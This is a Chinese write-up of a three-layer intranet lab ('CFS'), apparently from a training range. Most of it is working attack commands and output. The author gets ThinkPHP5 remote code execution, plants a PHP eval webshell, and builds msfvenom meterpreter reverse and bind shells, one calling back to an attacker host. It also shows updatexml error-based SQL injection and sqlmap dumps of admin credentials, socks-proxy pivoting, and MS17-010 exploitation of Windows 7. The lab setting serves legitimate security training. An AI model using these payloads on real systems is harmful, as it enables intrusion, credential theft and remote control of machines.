三层内网靶场-CFS
forg12

第一层

扫描网段内主机

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(kali㉿kali)-[~]
└─$ nmap 192.168.2.0/24
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-19 16:35 CST
Nmap scan report for 192.168.2.168
Host is up (0.026s latency).
Not shown: 993 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
888/tcp open accessbuilder
3306/tcp open mysql
8888/tcp open sun-answerbook

扫描主机开放端口及服务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
──(kali㉿kali)-[~]
└─$ nmap -sV 192.168.2.168
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-19 16:32 CST
Nmap scan report for 192.168.2.168
Host is up (0.024s latency).
Not shown: 993 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp Pure-FTPd
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
80/tcp open http nginx
111/tcp open rpcbind 2-4 (RPC #100000)
888/tcp open http nginx
3306/tcp open mysql MySQL (unauthorized)
8888/tcp open http Ajenti http control panel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.38 seconds

扫目录

1
2
┌──(kali㉿kali)-[~/dirsearch]
└─$ ./dirsearch.py -u http://192.168.2.168/ -e php -r

进入网站发现为Tinkphp5

img

验证->ThinkPHP5.x全版本任意命令执行

1
2
# payload
http://192.168.2.168/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=pwd

img

验证成功,构造命令写入一句话

1
2
3
4
5
#写入一句话		linux下使用\转义$		windows下用^转义  还可以base64加密绕过
echo "<?php @eval(\$_POST[fff]);?>" >shell.php

# payload
index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php @eval(\$_POST[fff]);?>" >shell.php

上线msf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
1.生成后门:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.2.187 LPORT=1111 -f elf >t1.elf



2.接受反弹:
msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.2.187
set LPORT 1111
exploit

3.上传elf并执行
(www:/www/wwwroot/ThinkPHP/public) $ chmod +x t1.elf
(www:/www/wwwroot/ThinkPHP/public) $ ./t1.elf

4.信息收集及配置访问
获取网络接口:run get_local_subnets
查看路由地址:run autoroute -p
添加路由地址:run autoroute -s 192.168.22.0/24
开启本地代理:
use auxiliary/server/socks_proxy
set srvport 2222
set version 4a
exploit

4.利用本地代理接口访问测试
设置浏览器代理进行访问测试
linux:
配置proxychains(代理工具)后调用工具探针Target2
/etc/proxychains.conf
socks4 192.168.2.187 2222(在配置文件中添加)

第二层

扫描网段内主机,端口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
proxychains4 nmap -sT -Pn 192.168.22.0/24 -p80 
-Pn:扫描主机检测其是否受到数据包过滤软件或防火墙的保护。
-sT:扫描TCP数据包已建立的连接connect

proxychains4 nmap -Pn -sT 192.168.22.129
Nmap scan report for 192.168.22.129
Host is up (0.12s latency).
Not shown: 994 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
888/tcp open accessbuilder
3306/tcp open mysql
8888/tcp open sun-answerbook

报错注入+后台+上传后门

1
2
3
4
5
6
7
windows:
利用代理工具Proxifier或SocksCap64载入代理进行进程访问测试

Target2(ubuntu x64):
探针目标-利用WEB漏洞(SQL注入)-后台获取webshell权限-获取Flag-Target3
http://192.168.22.128/index.php?r=vul&keyword=1 #sql注入
http://192.168.22.128/index.php?r=admini/public/login #后台

sql注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
# sql手工注入
1.报错----》存在注入
http://192.168.22.129/index.php?r=vul&keyword=1'
# CDbCommand 无法执行 SQL 语句: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1

2.显示当前库
http://192.168.22.129/index.php?r=vul&keyword=1' and info() --+
# CDbCommand 无法执行 SQL 语句: SQLSTATE[42000]: Syntax error or access violation: 1305 FUNCTION bagecms.info does not exist

3.报错注入获取铭感信息
http://192.168.22.129/index.php?r=vul&keyword=1' and (updatexml(1,concat(0x7e,(select user()),0x7e),1)) --+
# CDbCommand 无法执行 SQL 语句: SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~bagecms@localhost~'

4.得到表名
http://192.168.22.129/index.php?r=vul&keyword=1' and (updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e),1)) --+
# CDbCommand 无法执行 SQL 语句: SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~bage_admin~'

5.获取列名
http://192.168.22.129/index.php?r=vul&keyword=1' and (updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='bage_admin' limit 1,1),0x7e),1)) --+
# CDbCommand 无法执行 SQL 语句: SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~username~'

http://192.168.22.129/index.php?r=vul&keyword=1' and (updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='bage_admin' limit 2,1),0x7e),1)) --+
# CDbCommand 无法执行 SQL 语句: SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~password~'

6.获取用户名,密码
http://192.168.22.129/index.php?r=vul&keyword=1' and (updatexml(1,concat(0x7e,(select concat_ws(':', username, password) from bage_admin limit 0,1),0x7e),1)) --+
# CDbCommand 无法执行 SQL 语句: SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~admin:46f94c8de14fb36680850768f'

7.由于密码位数太长,需要截取获取后面的数据
http://192.168.22.129/index.php?r=vul&keyword=1' and (updatexml(1,concat(0x7e,(select concat_ws(':',substring_index(password,'f',-4)) from bage_admin limit 0,1),0x7e),1)) --+
# CDbCommand 无法执行 SQL 语句: SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~b36680850768ff1b7f2a~'

用户名:密码
admin:46f94c8de14fb36680850768ff1b7f2a
密码解密得:123qwe
# sqlmap注入
sqlmap.py -u "http://192.168.22.128/index.php?r=vul&keyword=1" --batch

sqlmap.py -u "http://192.168.22.128/index.php?r=vul&keyword=1" --current-user --current-db --is-dba --passwords --batch

sqlmap.py -u "http://192.168.22.128/index.php?r=vul&keyword=1" --batch --dbs

sqlmap.py -u "http://192.168.22.128/index.php?r=vul&keyword=1" --batch -D bagecms --tables

#到处所有表,所有字段内容
sqlmap.py -u "http://192.168.22.128/index.php?r=vul&keyword=1" --batch -D bagecms -tables --columns --dump

sqlmap.py -u "http://192.168.22.128/index.php?r=vul&keyword=1" --batch -D bagecms -T bage_admin --columns --dump
+----+----------+----+---------------------+---------+-------------------+-------------------------------------------+----------+----------+-----------+-----------+-------------+-------------+----------------+-----------------+
| id | group_id | qq | email | mobile | notebook | password | realname | username | status_is | telephone | create_time | login_count | last_login_ip | last_login_time |
+----+----------+----+---------------------+---------+-------------------+-------------------------------------------+----------+----------+-----------+-----------+-------------+-------------+----------------+-----------------+
| 1 | 1 | 0 | bagecms@bagecms.com | <blank> | flag{eS3sd1IKarw} | 46f94c8de14fb36680850768ff1b7f2a (123qwe) | <blank> | admin | Y | <blank> | 1569240455 | 17 | 192.168.22.129 | 1637839057 |
+----+----------+----+---------------------+---------+-------------------+-------------------------------------------+----------+----------+-----------+-----------+-------------+-------------+----------------+-----------------+
http://192.168.22.128/index.php?r=special #后门shell

上线msf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
1.生成正向后门:
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=3333 -f elf > t2.elf

2.访问接受:
use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set rhost 192.168.22.129
set LPORT 3333
exploit

3.信息收集及配置访问
获取网络接口:run get_local_subnets
查看路由地址:run autoroute -p
添加路由地址:run autoroute -s 192.168.33.0/24

第三层

1
2
3
4
5
6
7
8
9
10
Target3:(windows7 x64)
探针目标-端口及漏洞扫描-利用MS17010获取系统权限-获取Flag-GG
proxychains4 nmap -Pn -sT 192.168.33.33
use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set RHOST 192.168.33.33
exploit
shell
dir /S flag.txt /B
type xxxxx.txt